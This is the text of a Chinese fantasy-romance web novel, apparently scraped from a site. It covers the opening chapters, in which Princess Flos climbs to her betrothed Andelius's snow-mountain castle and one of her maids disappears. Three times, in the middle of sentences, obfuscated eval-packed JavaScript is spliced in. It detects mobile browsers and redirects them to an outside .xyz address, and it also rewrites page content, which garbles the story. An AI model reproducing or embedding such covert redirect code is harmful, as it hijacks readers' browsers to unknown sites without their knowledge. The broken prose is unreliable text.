《猎杀名单上的未婚妻》 1. 雪山下 公主的婚车驶过碧绿的平原,驶过大半个王国,驶入未婚夫的领土时,被叫停了。 叫停她们的是位年轻的黑衣侍者,他的黑色卷发被风吹往耳后,露出一张英俊的脸庞。 黑发,黑眼睛,很典型的北境人特征。 “各位小姐,很抱歉,但是请止步于此,安德留斯家族不欢迎外来者。” 公主殿下身边的侍女看看他,又看看马车帘幕上绣的鹰隼,那是象征费尔奇尔德皇族的族徽,雪地猎隼。 即使些许雪花粘连在上面,还是能看出猎隼锐利的眼睛和振翅欲飞的雄姿。 整个王国只有王室才会用这样的图样,侍女们以同情的目光打量着这个不识货的乡下人,“这是费尔奇尔德王国的公主,芙洛丝殿下的婚车。” 拦停她们的侍者望了望那徽章,“我看见了。” 事实上,芙洛丝殿下就是他的主人所等候的未婚妻。 他重申一遍,“但是很抱歉,安德留斯的领土不欢迎任何外来者,这是我的主人要我来知会各位的。” 安德留斯一族,山神的一族,在公主殿下刚出生时便派人传信: “神的生命太漫长、太寂寞了,我希望有一朵王室的花朵来陪我。” 所以公主殿下的名字是芙洛丝。 Flos,被神选中的花朵。 国王爱女心切,向山神祈求等芙洛丝成年后再离开王都,启程雪山——这是费尔奇尔德王国人尽皆知的故事。 现在,神派来使者说,安德留斯不欢迎外来者。 随行侍女的表情既复杂又震惊,好像不知道该怎么回应。 侍者便以善解人意的语气解释了一遍:“除了公主殿下,其余人等,包括马匹、货物都不允许再靠近雪山一步。如果诸位觉得为难的话,请让我向公主殿下说明。” 他听说过,这位公主殿下性格极为娇纵、傲慢。 老国王也许早就告诫过送亲的这些人要遵守安德留斯家族的规矩,但是也许这些人更害怕喜怒无常的公主。 马车一共十驾,每一辆都高大、华美,除却明显是驮着货物的那几辆,公主殿下的车驾并不难猜。 居中的一辆马车装饰得最为繁复,柔软的垂帘与重重的流苏,帘后还传来一阵阵甜丝丝的香气。 侍者亮明身份,挑开车帘,瞳孔一缩。 马车里坐着三个正在烧茶的少女,金发,蓝眼睛,很典型的王室血脉特征,但她们脸上的表情如出一辙的又呆又胆怯,没有半点贵族的模样。 啊。 替嫁啊。这倒是不意外。侍者这么想着。 可惜他们只要公主。只要这么一个牺牲品。 如果真是替嫁,就要把这些人打发回去。 嚓。嚓嚓。他突然听到了这样的声音。 像是细沙吹进耳朵,又像是磨刀一样,雪山里从来没有过这样的声音。侍者回过头,被震撼在了原地。 自己怎么会没注意到这个人? 坐在高大黑马上的,一身飒爽骑装的人。 即使是死了,埋在冻土之下百年的尸体,也会被这样的美貌震撼得跳起来的,可他刚刚居然没有注意到。 少女用刀尖抬起帽檐,露出一双苍蓝色的眼睛。 她好像也知道自己是很美丽的,眼睛直勾勾地盯着侍者, 即使如此,她手里的刀依然没有停下动作,她正在削一个苹果,嚓,嚓嚓,苹果皮在冻红的指尖落下一长条。 她的脸色还算平静,看不出生气的样子。 可她一直在听着,没有吭声。 “这算是……安德留斯给我的下马威?”她这么问道,眉眼随之生动起来。她的脸上跃动着一种属于野兽的野蛮的神态。 侍者的心脏砰砰狂跳。 我。 毫无疑问,她就是王室送来的公主,被指定婚约的芙洛丝,但……侍者还是没忍住,看了一眼她蓬松浓密的长卷发。 黑色的。 不应该……是金发吗? “不敢,不敢。”侍者连说了两个“不敢”,态度极尽谦卑,“这是安德留斯家族自古以来的传统,我想……国王陛下和您说得很清楚。” 少女挑眉。 “你知道,”苹果削完了,她将小刀在因曲肘聚起的衣袖上擦了两次,正面一次,反面一次,“这是一桩很不平等的婚姻吗?” 侍者反应过来,神与人的婚姻,本就是不平等的。他微笑了一下,“但这可以算得上一件殊荣。” 谁知少女也笑了一下,带着挑衅的味道,“如果我破坏规矩,带着这么多人走上去,会怎么样呢?” 侍者仍是微笑:“只有得到安德留斯家族认可的人才能进入神山,以往有许多偷猎者也误入此地,但他们没有一个人能回去。我只是个传话的,殿下,请别为难我。” 芙洛丝在来的时候听说过一些关于雪山的传闻。 什么迷宫一样的路径,明明走过的地方,却会像鬼魅一样再度出现;什么只有在月圆之下显现的城堡,等到太阳一出来就蒸发不见;什么由数只雪地猎隼把守的天门,只有回答猎隼的提问才能前进,否则就会被撕成碎片…… 随从们听了倒是吓得发抖,芙洛丝却想,安德留斯家族为了维持领地内人民对自己的愚昧迷信,还真是舍得编。 安德留斯家族绝对和神没有什么关系,因为这个世界的神在互相残杀。不管是什么神,只要像这样夸夸奇谈自己的伟力,不遗余力地传播神话,就一定会引来其他神的注意,并被追杀。 就像芙洛丝现在这样。 想到【系统】签发的追杀令,芙洛丝还是觉得头疼。 是的,【系统】。 芙洛丝不知道怎么称呼脑海里的那个声音,它在自己穿越到此世的时候告知了自己的【身份】与能力,随后便沉寂不起。 五年前,那个声音又告诉了她一件事,同样拥有【身份】的某人正出现在大都克拉克城,随后,其他的同类便赶来追杀他。 一场可怕的腥风血雨。 那个声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428035|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连接着所有的【身份者】,就像一场大型杀人游戏的主持人。 是的,【身份者】。 芙洛丝更喜欢用【身份者】这个称呼,因为他们都是从【身份】中获得能力的。 也许是芙洛丝配不上那个【身份】,也许是太配得上了,总之,她被系统暴露了【身份】和位置,进入了其他【身份者】的追杀名单。 作为一国的公主,芙洛丝如果没有正当理由就匆匆离开王都,是很引人注目的,所幸,她和某个原始的神棍家族有桩婚约。 即使这桩婚姻很不平等。 真正的神明vs落魄的神棍家族继承人 她要碾死安德留斯一族,就像碾死一只蚂蚁那么简单。 所以芙洛丝很快便作出了回应:“可以。珠宝、财富都留在这里,我不带上去。” “您……生气了?”侍者小心翼翼说道,“殿下的这些嫁妆,其实可以托人带回去,离这里不远的赫曼森城,是很好的转运中心。” “不需要。”芙洛丝“咔嚓”咬下一块苹果,“你不是说,没有安德留斯家族的许可,没有人能到达这里吗。” 她看了一眼装得满满当当的六辆马车,“如果丢了一分一毫,那就唯你主人是问。” 她咬着苹果,点了几个侍女,“你,你,你,跟我走。其余的人,你们自由了。” 说着解下腰间的钱袋子,朝她们丢去。 随后跃身下马,朝侍者走去,“带路。” “公主……”最小的侍女安妮赶上来在她身边悄悄说道,语气很不可置信,“您相信啦?您就这么接受安德留斯的条件啦?殿下,只有这几个人进入安德留斯的领地,也许有危险……” 芙洛丝摸了摸她的头发,嘴角扯出一个堪称残忍的微笑。 “别为我担心。”她并没有特意压低音量,“我将要对那个乡巴佬做的,是一件非常、非常糟糕的事。我乐意提前给他点甜头。作为补偿。” 听到自己的主人被称呼为乡巴佬,侍者心头一震,但也没有表现出生气的样子,依然用温和的眼睛望着芙洛丝公主,“殿下,我想我先前说得不够清楚。” “安德留斯的领土,不欢迎任何外来者。也就是说,你只能一个人随我上山去见主人。” 他并不想制造更多的牺牲。 侍者尽他最大的可能委婉地提醒公主:“这对殿下你也是件好事。” 芙洛丝打断了他的话,“马呢,不会让我们就这么爬上去吧?” 她的目光越过侍者,望向他背后巍峨如天阻的群山。 她好像根本就不会在意其他人在说什么,自负与傲慢简直是她融进骨血的气质。 侍者惊愕地张开嘴,“你……你不能……殿下,你没听清我刚刚说的话吗,这是安德留斯一族的规矩,只有你一个人能上山……” 芙洛丝仍目空一切,只是注视着雪山,在缓慢降临的夜色中,它们白得不可思议。 “哦。”她说,“是吗。” 没有以疑问的语气。 2. 未婚夫 芙洛丝花了一天一夜来爬这该死的雪山。 期间没有出现任何神迹,芙洛丝凭着一双脚爬到了顶,爬到了未婚夫安德留斯的城堡里。 清晨。 外面终于响起一阵清脆的铃声、马蹄声。似乎有浩浩荡荡的一队人马在朝这边靠近。 侍者说他的主人有夜猎的习惯,还告诉了芙洛丝他的名字叫奥菲修斯,兼任安德留斯家族的管家、厨子。 安德留斯一族现在人丁稀薄,只有侍者的主人一人了,所以侍者的主人没有名字,芙洛丝可以直接以安德留斯称呼他。 “殿下,他是你要找的那种人吗?”安妮伏在她的腿上,这么问道。 作为芙洛丝的【仆从】,她们大概知道芙洛丝在躲避某种人的追杀,同时也在追杀那种人,但仅止于此,其他的就不清楚了。 “不是。” 芙洛丝也以为会在雪山有点儿意外收获。 【身份者】与【身份者】之间互有感应,但现在安德留斯的猎队离她只有十多米远了,依然没有一点感应的迹象。 看来就是个靠编神话骗人的神棍,难怪招摇撞骗了这么多年,全费尔奇尔德王国的人都信了,依然没有【身份者】找上门来。 芙洛丝轻轻阖上安妮困倦的眼睛,“睡吧。” 这些小丫头跟着她爬上来,都累坏了。 铃声越来越近。她听见年轻男人的笑声,不多,但也有五六个,女人的脚步比较轻,有……没有女人,一个也没有。 这种封闭的古老家族靠近亲联姻繁殖,传到这一代,女人算是完了。再愚昧的乡巴佬也反应过来,要想传宗接代,该寻求其他家族的帮助,所以,安德留斯向王族请求联姻。 那是十八年前的事,现在,安德留斯应该……至少也三十多岁了吧。 芙洛丝这么想着。 大门打开,冷冽的空气扑了进来。为首的是个身材高大、全身都包裹在灰褐色毛裘中的男人,他提着几只小兽,一只兔子的嘴角还在抽搐、淌血,血滴滴答答淌了一地。兔子的嘴还在冒出小团小团的热气。 他背后跟着五个同样打扮的男子,他们手上都提着猎物,身上都覆着雪。芙洛丝没有估计错人数。 “哦……” 男人发出声音,他很快注意到了坐在二楼栏杆后的芙洛丝,二人视线碰撞。 “是那位公主殿下。” “来得比想象中快呀,不过……” 他后面的人们窃窃私语,忽然又默契地闭了嘴。 为首的男人倒是语出惊人地道出了“不过”后面的内容:“怎么是个杂种?” 他的声音比预料中年轻,年轻很多,事实上,他隐藏在护耳帽下的那双眼睛闪闪发亮,亮得像时时刻刻含着热泪。这是一双二十岁左右的男人才会有的眼睛。 看来他就是安德留斯。 “你就是我要的那位公主?怎么变成杂种了?”安德留斯的大眼睛似乎委屈地耷拉了一下,不知道是不是芙洛丝的错觉,“还有,这么多人,你带上来的?奥菲修斯呢!” 看来芙洛丝的黑发是最重要的问题,比雪山的规矩被破坏还要重要,芙洛丝想,大概他也知道雪山的规矩不过是个谎言,他只想得到一个免费的王室新娘。 “唔……” 被绑在角落的奥菲修斯以微弱的鼻音表达了自己的存在感。 看到这一幕,安德留斯惊讶了。 芙洛丝欣赏着这惊讶的表情,理了理自己磅礴如云的黑发,“三件事。” “第一,你最好意识到这个地方也在费尔奇尔德王室的治下,而我显然不像老头那样相信你所谓的神话。” “第二,把房间打扫干净,我累了,而你的城堡脏到难以忍受。” “第三,我还没想好,但你要随时待命。” 安德留斯扭过头来,用短促的音节表达了自己的侧目。 “啊……?” 他用另一只没提猎物的手摘下帽子,抖了抖雪,果然,他有一双很大,很善于表达情感的眼睛。 “你的父亲……没告诉你要遵守安德留斯家族的传统吗?这是两个家族之间的契约,你不知道吗?” 他像抓住救命稻草一样抓住芙洛丝父亲的承诺,他也只能抓住这个了。 “我遵守了。” 安德留斯视线扫过那些正在闭眼小憩的侍女们,不满道:“那她们是怎么回事?” 安德留斯的领土不欢迎外来者,芙洛丝用头发丝想都知道他要说这句话,“小妾,或者是我给你找的情妇,随便怎么说吧。” 芙洛丝是安德留斯承认的妻子,所以被许可进入此地,那么,这些侍女也是安德留斯的妻子,也就能够进入此地了。多么顺畅的逻辑。 安德留斯点点头,又道:“我不能跟来历不明的女人结婚。” 芙洛丝也点了下头,“那我也不能远离我的护卫们,和这么多来历不明的男人待在一起。” 只听安德留斯咕哝了一句:“……雪山不一样,把她们带上来,你会后悔的。” 笃笃。 芙洛丝的手指在栏杆上敲了两下,“还愣着做什么?” 她的苍蓝色眼睛很平静,但是微微皱起的眉头还是泄露了不耐的心情。 “去、打、扫、啊。要是不会的话,让他教你。” “他”指的自然是一早就被绑起来的奥菲修斯。 奥菲修斯发出两声“唔唔”表达了不满。 安德留斯和他身后打猎归来的男人都沉默了。 安德留斯在原地转了一圈,沾着雪的靴子踏得地板咯吱咯吱响,他似乎是在思索,最终,他妥协了。 “你想睡哪一间?” “当然是最大的那一间。”不然呢? 芙洛丝单手抱起瘦小的安妮,拍醒在她裙角边打盹的另外两个侍女,“走。” 雪山上还是太冷了,在这里睡着,会着凉。 “公主,等等!” 安德留斯忽然大声叫了她一声,随后说: “我们还没交换戒指呢。” 她感觉脑后有个什么东西飞快地飞了过来,下意识地接住,手上一阵诡异的濡湿感,温热的、颇有重量的、柔软但是又有硬刺混合其中的…… 那东西蹬了她一下。 ——一只眼睛中过箭、半死不活的兔子。 “哈哈哈哈哈哈。” 安德留斯畅快地笑了起来,他的笑声如雪山上的风一样清新而猛烈,似乎连室内的阴霾也驱散不少。 这笑声感染了其他人,也感染了奥菲修斯,他们全都笑了起来。 “谢谢,这是头纱。”芙洛丝说道。 安德留斯的笑声戛然而止,他“嘶”了一声。 手指不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428036|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可置信地抚上脸颊,他的眼珠微微转动,在飞起的断发中,他看见了指肚上淋漓鲜红的一片。 划过他脸颊的刀稳稳地插在了地上。 没有人再敢笑。 “嘶……漂亮的回敬。”安德留斯看向二楼那个美丽的背影,“你的身手很不错呢,你真的是公主?” 他舔了舔拇指,像是发现新奇玩具的孩子,“我喜欢你。做、吗?” 他一字一顿地问道。 芙洛丝捏起的左拳正在乱咯吱响。 “我从小接受的教育和信仰不允许我有婚前性行为,顺带一提,我说的婚姻,至少需要一个婚礼,见证人,还要有像样的礼服和鲜花。” 而这些是你弄不到的,蠢货。芙洛丝看着天花板上的蜘蛛网,火更大了。 “这样啊。”安德留斯的声音流露出遗憾,但他的视线依然炙热,不知道为什么,从芙洛丝身上移到了其他人——她的侍女身上。 “她们也和我有一样的信仰。” 芙洛丝以全然保护者的姿态,伸出手臂将侍女们护到自己的身前,不让安德留斯的视线玷污她们。 安德留斯忍不住,“噗”地笑了出来。 “那么,公主殿下,要来参加我们的宴会吗?别担心,就是吃吃肉、跳跳舞、唱唱歌,你们会在山上待很长的一段时间,最好还是和我们搞好关系,你说呢?” 芙洛丝没有立刻回答,但将要步过走廊拐角的时候,轻声唤了一声其中一个睡眼惺忪的侍女: “碧。” “唔……嗯?殿下,怎么了?” “去厨房看着他们。” 碧的眼睛微微瞪大,旋即反应过来,“……应该不会吧。怎么说安德留斯也是贵族,应该不会在招待我们的食物里做什么手脚的。” “他算什么贵族?”芙洛丝活动了下手指,那种湿乎乎的、黏答答的兽血的触感还在,很不舒服,她更不耐烦了,“他是一个住在山村里、脑子有问题、性格粗野、又没见过女人的老光棍,你指望他安好心?” “好的。谨遵殿下的旨意,我会为你看好他的。” 像是想到什么,芙洛丝脚步一顿,“如果遇到什么不对劲的事,喊我。这段时间我都会睁着眼睛,我会关注你的每一次呼吸。” 安妮醒了过来:“殿下不是说,安德留斯不是吗,为什么……” “人类一样可以很危险。要谨慎行事。” 安德留斯明显没安好心,她有这种直觉。 另一边。 安德留斯蹲下身子,和被绑成上锅螃蟹的奥菲修斯对视,颇为新奇的样子。 他的声音洒脱且慵懒,卸下伪装之后,那种危险的邪恶的气质更为突出了: “我本来以为你被我们公主殿下迷晕了,我还想问你,怎么没有反抗,按理来说,你的身手不至于连个女人都对付不了。” 尽管很狼狈,奥菲修斯依然保持着体面的微笑:“相信我,那女人不正常,她一只手就可以将我们俩的头盖骨一起捏碎。” “肉搏派?” 安德留斯被这个说法逗乐了,低下头笑了一阵,然后才抓了抓凌乱散下的额发,抬起头,“你觉得,她是不是【同类】?” 这时,碧提着裙子,笑容满脸地加入了安德留斯和男人们。 “你好,安德留斯大人,殿下说让我留下帮忙。” 3. 山与神 芙洛丝透过房间的窗户远眺,这玻璃,以及房间里的床、桌椅、烛台都是灰蒙蒙的,显然很久没有人清洁。 奥菲修斯说安德留斯是山神的后代,所以喜欢栖息在林野间,而不是祖辈留下的城堡里,芙洛丝自动将这话翻译成安德留斯野性未驯,还保留着不少原始人的生活习惯。 透过不太明亮的窗户,能看见外面又飘起了小雪。 但芙洛丝看的不是这个。 她看的是她【仆从】们的呼吸。 离开王都已经有十天了,世界各地有意的【身份者】都应该陆陆续续到达了,而【仆从】并没有按约定好的那样给她传递信息。 【仆从】的网络上,东方遥远的地方有五个小点正发出碧莹莹的光,这说明她们都还活着。 看来是没有探查到任何【身份者】的踪迹。 这很正常,王都人来人往,鱼龙混杂,贸然暴露自己的【身份】,引来的只会是其他同类的追杀。 如果芙洛丝是受邀而来的追杀者,也会选择蛰伏于王都边缘,先观察城里情况。 目前的情况既可以说好,也可以说不好。 好的一方面在于,王都里没有爆发大规模冲突,也就没有无辜的平民被卷入其中;坏的一方面在于,没有冲突,便说明所有人还在观望,她也就还要在雪山待一段时间。 芙洛丝没有撤回感知,而是观察起离自己最近的绿色小点之一——碧。 这是芙洛丝的能力,可以随时随刻感知到隶属于自己的【仆从】的身体状态,包括呼吸、脉搏、受伤情况等等。碧的呼吸均匀,情绪总体上也不错,说明厨房里没有出什么事,这很好。 远方传来两声椋鸟的鸣叫,楼下的厨房里时不时传来欢笑声,但是像隔着一层薄膜听到的那样,不是很清晰,总觉得那是很遥远的地方发生的事。 一切正常。 芙洛丝伸了个懒腰。 房间里,安妮和另外一名侍女碧拉已经发出了微微的鼾声。她们睡在勉强找到的一床很陈旧的毛毯上,芙洛丝没有洁癖,但五官敏感,多多少少接受不了这样带着浓烈灰尘气息的旧东西,所以一直站在房间里,看着窗外。 忽然,像是听到什么动静一样,她耳朵微动,转过身去。 “嗨。” 年轻男人像一只灵巧的大猫那样跳上了窗台,并且没有发出半点声音,他笑着说:“你的耳朵很灵嘛,公主殿下。” 安德留斯。 他已经脱去了那层厚厚的狗熊似的皮毛,上身只穿着一件花哨的绸衬衫和一件猩红的马甲,完美地展现出宽阔的肩膀,窄窄的腰身,以及被冷风冻得发白的锁骨以及胸口的一大片肌肤。他的肌肉练得很漂亮,而且不吝于向外人展示。 他的一只手臂攀附在半开的窗户上,另一只揣在腰腹里,像揣着什么价值千金的宝贝,又像怀抱着一个脆弱的婴儿。 婴儿?呵呵,希望如此。 而不是另一只死掉的什么小兔子小狐狸。 “自己滚,或者我把你踢下去。” 芙洛丝面无表情地走过去,就要把窗户关上。 “诶诶,别这么粗暴嘛,我没有恶意。”安德留斯微微地笑着,那双天真的大眼睛弯成了一双很甜很可爱的月牙儿。没了那顶傻乎乎的帽子,他倒可以称得上是个不可多得的美男子。 那种淳朴的小乡村里的、没见过什么世面的美男子。 “我为初次见面的无礼向你道歉,原谅我吧,公主殿下,”他将怀里的那东西掏了出来,邀功似的央求道,“我们讲和,好不好?” 那是一方洁白得刚从染缸里捞出来的手帕,上面绣着蓝色的花枝和金色的夜莺,崭新的程度值得一个商标。手帕里包着一些坚果。 没错,坚果。 芙洛丝看了一眼,有榛子、松子、腰果和一些剥好的花生。 每一颗都很饱满,样子不坏。 他是把自己当成新娘来哄了。 “东西放下,你可以滚了。”芙洛丝的语气依然冷酷。 安德留斯依然笑得很甜,乖乖地将手帕包好的坚果奉上。 芙洛丝接了过去,强忍着没有揍他一拳,“敲门。” 敲门,别从窗户走。 不然揍死你。 安德留斯愣了一下,不知道有没有听明白这意思,但是嘴角又挂上了人畜无害的纯良笑容,笑眯眯地道:“好的,殿下。” “对了,房间收拾得差不多了,要不要我陪殿下去看看?” 仔细一看,安德留斯的额发有被薄汗打湿的痕迹,额角、鼻子、以及手臂上都碰到了灰尘。原来他真的去乖乖打扫房间了。 芙洛丝在心底默默给出了这样的评价:虽然根性恶劣,但是可以被调.教。 如果花点心思,她在雪山的隐居生活也许可以勉强达到“不错”的水准。 “走,去看看。” 有了这句话,安德留斯便抓着窗户,一下翻了进来。 “你——” 芙洛丝瞳孔放大,不敢相信他就这样闯了进来。 站在身前的安德留斯身高至少有一米九,不,估计接近两米了,可以说是个庞然大物,就连投下的影子都带着压迫感,和在二楼往下望的感觉完全不一样。 安德留斯并没有意识到这一点,甚至身子微微前倾,更加靠近了芙洛丝。 他眨了眨眼睛,“怎么了,我的殿下?” 芙洛丝很不爽地看了他一眼,“离我远点,你的呼吸都快喷到我脸上了。没人教过你礼貌吗?!” 这家伙,为什么这么高大? 吃什么长大的? 难怪传说他是山神的后裔,如果安德留斯家族的男男女女都如出一辙的伟岸,芙洛丝多少有点理解了。 她侧过身子,语气生硬,“有带路的走在人家身后的吗?带路。” “好的,好的。”安德留斯好脾气地点点头,那头柔软的黑色卷发也微微晃动,他温顺地走在了前面。 头脑简单的傻大个,没什么特别的气息,不需要特别注意。 芙洛丝拈起一颗松子,检查了一下,没看出被做过手脚的痕迹,才放入嘴中。感受着油脂的香气在唇齿间弥漫开来,气味馥郁而又带着清新…… 然后,她的脚步顿住了。 安德留斯有所察觉,便转过头来,“怎么了,我的殿下?” 芙洛丝的表情很奇怪。 她脸色发白,既困惑又紧张,眉头皱在一起,嘴里只喃喃了两个字:“呼吸……” 呼吸,感受不到了。 安德留斯眼底是一片无动于衷的冷漠,他凝视着芙洛丝,在那双苍蓝的眼珠转向他时,才瞬间切换上恰到好处的惊讶与无辜,“嗯?” 他长而浓密的睫毛像垂翼的蝴蝶,在下眼睑轻轻一碰,又颤颤巍巍地抬了起来。就这么一个眨眼的功夫,他脸上的表情完全变了。 “什么呼吸?” 芙洛丝集中注意力在那片【仆从】的网络里寻找象征碧的小点,但,那个小点就跟凭空蒸发了一样,消失得干干净净! 作为芙洛丝的贴身侍女之一,碧从小便接受特殊的训练,以她的身手,自保是绰绰有余的,即使是王国久负盛名的大力士,也不可能在一瞬之间就抓住她、抹去她的呼吸! 更何况,在成为芙洛丝的【仆从】以后,她的身体得到了进化一般的强化,力量、反应速度、对危机的应对能力都是顶级。 芙洛丝不敢相信她的呼吸就这么断掉了,明明在此之前,她的状态一直都很平常。 难道是被人从背后袭击,所以来不及反应? 或者是被人下药? 芙洛丝脑海中一下闪过好多种可能,但有一件事是确定的,在碧的联系断掉之前,她最后出现的地点在—— 楼下! “让开。”没有去看安德留斯的表情,她直接推开了挡在前面的男人。 象牙白的回旋楼梯在脚下延伸,上面铺着图案华丽的天鹅绒垫子。 芙洛丝没有走楼梯,她翻过栏杆,从当前的高度一跃而下! “芙洛丝!”背后传来安德留斯的惊呼。 没有时间跟他解释,她要赶紧去那个位置查看。 吱嘎—— 芙洛丝踹开十分具有年代气息的厚大木门。 这就是碧最后出现的大致位置,可门后并没有如芙洛丝想象中的那样,是一具来不及掩藏的尸体,而是…… 三四个戴着头巾、寄着围裙的深色皮肤的厨娘,和这座城堡里的其他人一样,都是黑眼睛、黑头发。她们被芙洛丝踹门的动静吓得大叫,眼珠都瞪圆了,其中一个手里拿的勺子都掉在地上,发出“笃”的声响。 房内热气袅袅,弥漫着肉汤的香气。 “芙洛丝,你……”安德留斯赶到,还没表达完自己的惊奇,芙洛丝就鹰视阔步地走了进去,视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428037|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一寸寸地扫遍整个后厨。 “你在找什么呢?”安德留斯跟在她的身后,“发生什么了吗?刚刚你说着什么‘呼吸’,突然就跑了……” 厨娘们惊魂未定,但也纷纷向安德留斯点头致意,“安德留斯大人。” “大人。” 安德留斯也向她们一一点头。 后厨的布局是一览无余的,能藏地方的只有备菜的长条桌和靠墙的大柜子,芙洛丝一一检查过了,都没有。 厨房后面,从通风的脏兮兮的窗户中可以看见后面是一片覆雪的山坡,白得刺眼的雪的光亮从红砖的缝隙中射进来,连带着在后面剥兽皮、处理猎物内脏的男人们的谈笑、吹牛的声音。 “……一头熊,你怕不是在梦里遇见的吧?” “你去问主人好啦,他当时亲眼看见的,那畜生气咻咻地走过来,当时我就在……” 这些人泰然自若,怡然自得,就好像厨房里一直是这样,什么事情也没发生一样! 可明明就有一个女孩消失了。 而且……芙洛丝简单打量了一下厨房里的这些厨娘,心中冒出一个疑问——她们是从哪儿冒出来的? 进城堡的时候,她就让奥菲修斯带自己检查过所有房间了,城堡里空无一人,处处是灰尘和厚厚的蜘蛛网,瓦罐里还有老鼠在吱吱叫。除却顶层的几间房有被居住过的痕迹,其余地方根本没有一点人气。 安德留斯的猎队带回来了同行的猎人,可这些厨娘就像突然从地缝里冒出来的一样,就像童话故事里的精灵。 芙洛丝转身面向安德留斯,“刚刚下来监视你们的侍女呢,那个金色头发、蓝色眼睛的侍女?” “监视?”安德留斯震惊了,没想到她会派人来“监视”自己。 但芙洛丝的表情很严肃,她大概率不是在开玩笑,也没有开玩笑的心情,他想了一想,抓抓头发,问那些厨娘们,“这位公主所描述的那个姑娘,你们看到过吗?” 厨娘们还处于呆滞的状态。 她们也想了一下,然后一起摇头。 芙洛丝推开厨房的后门,问了庭院里的男人们同样的问题,他们的回答也都是没有。 怎么可能? 她明明要碧下来看着他们的。 芙洛丝很快想明白了,这些人都是串通好的,这里是安德留斯的地盘,他们当然全听安德留斯的。 除了这种可能,还有一种可能,那就是这里隐藏着一个可以远程发动能力的【身份者】,所以她才没有察觉到。 但无论是哪种可能,都和这里的主人,安德留斯脱不了干洗。 她忽然揪住安德留斯的领口,将他用力地压到了墙壁上。 “啊……”安德留斯还没反应过来,后脑勺就咚地撞上了坚硬的墙壁,他不舒服地眯起眼睛,吃痛道,“喂,公主殿下,你这又是唱的哪出?这次我可没招惹你吧!” “别跟我耍心眼。”芙洛丝压迫感十足,几乎能弥补两人视觉上的身高差,她同样眯着眼睛,不错过安德留斯面部任何一丝细微情绪的变化。 “把那个姑娘交出来。你不会想违抗我的命令的。” 这变化太突然了。 芙洛丝的动作多少有些粗鲁不讲情面,安德留斯的人从震惊中回神,全都放下手中的事务,替主人鸣不平一般恶狠狠地瞪视着芙洛丝。 气氛变了。 芙洛丝从余光中感受到这一点,但并不在意。 这些人中没有一个人有伤害到她的实力。 安德留斯很生气,揪住芙洛丝的手腕,想让这双纤细美丽的手松开。 然而芙洛丝抓得很紧。 安德留斯试了第二次,发现力量的对比确实悬殊——比自己矮了一大截的芙洛丝力气大得像个怪物,他很快放弃了,然后换上一副委屈的表情控诉道: “关我什么事?我一直都在打扫你的房间,我都没有见过她,甚至我刚刚还在和你说话,你凭什么怀疑我呀?” 芙洛丝一怔,旋即反应过来。 没错。 碧的呼吸消失的时候,他确实和自己在一起。 可…… 一道熟悉的嗓音打破了这沉默的对峙,“呃,主人,有没有一种可能。” 安德留斯和芙洛丝都看向说话的人。 ——搬着一个箩筐走进来的、畏畏缩缩的奥菲修斯。 “是这座山的山神带走了她呢?” 4. 厨娘们 “雪山的神明会夺走闯入雪山的不速之客的灵魂,然后是骨血、肉.体,这是五百年前便有的传说。” 奥菲修斯看起来很畏惧芙洛丝,看了一眼被芙洛丝按在墙上的主人,才鼓起勇气似的往下说:“殿下,我早已经告诉过你了,你为什么就是不相信呢?恕我直言,那个侍女的失踪,你应该负全责。” “好了好了,”安德留斯不悦道,“别这么说话。” 受到指责的芙洛丝面色不变,反问奥菲修斯:“你很相信所谓的‘雪山的神明’?” 奥菲修斯道:“当然,费尔奇尔德王国的每一个人都相信,恕我冒犯,殿下,我反倒不明白,为什么你身为王室的公主,居然对守护王室的神明如此不屑一顾……” “喂……”安德留斯试图打断这场信仰之争,但显然收效甚微,芙洛丝的神态坚硬如铁,任何人也无法打动,她没什么感情地说道: “那你应该小心,如果雪山上真有神明,祂是不会理会凡人的,就像你不会理会角落里蚂蚁的心愿一样。再者,将活生生的人抹杀掉,这样的存在不应该被崇拜,祂很邪恶。” 奥菲修斯气得眼皮直跳。他一直表现得很有涵养,现在呼吸完全乱了,声音也又急又尖锐:“祂是我们的先祖——” 仿佛蒙受了奇耻大辱。 安德留斯以更高的声音打断了他:“好吧好吧,现在先停止无谓的口角之争,好吗!” 他无奈地看了一眼奥菲修斯,又看了一眼芙洛丝,前者悻悻然闭上了嘴,但明显非常不服气,后者睁着一双漠然的苍蓝色眼眸,姿态高傲。 “城堡里不常住人,有时候也会有一些雪豹和野狼来这里晃荡,”安德留斯向下看着自己被揪得乱糟糟的衣襟,叹了口气,“殿下,先放开我好吗,我会带我的人一起去帮你找回那位侍女。” 狗屁的雪豹和野狼。 芙洛丝知道碧就是在这间厨房里消失的。她再次审视了一遍安德留斯的表情,然后松开了手。 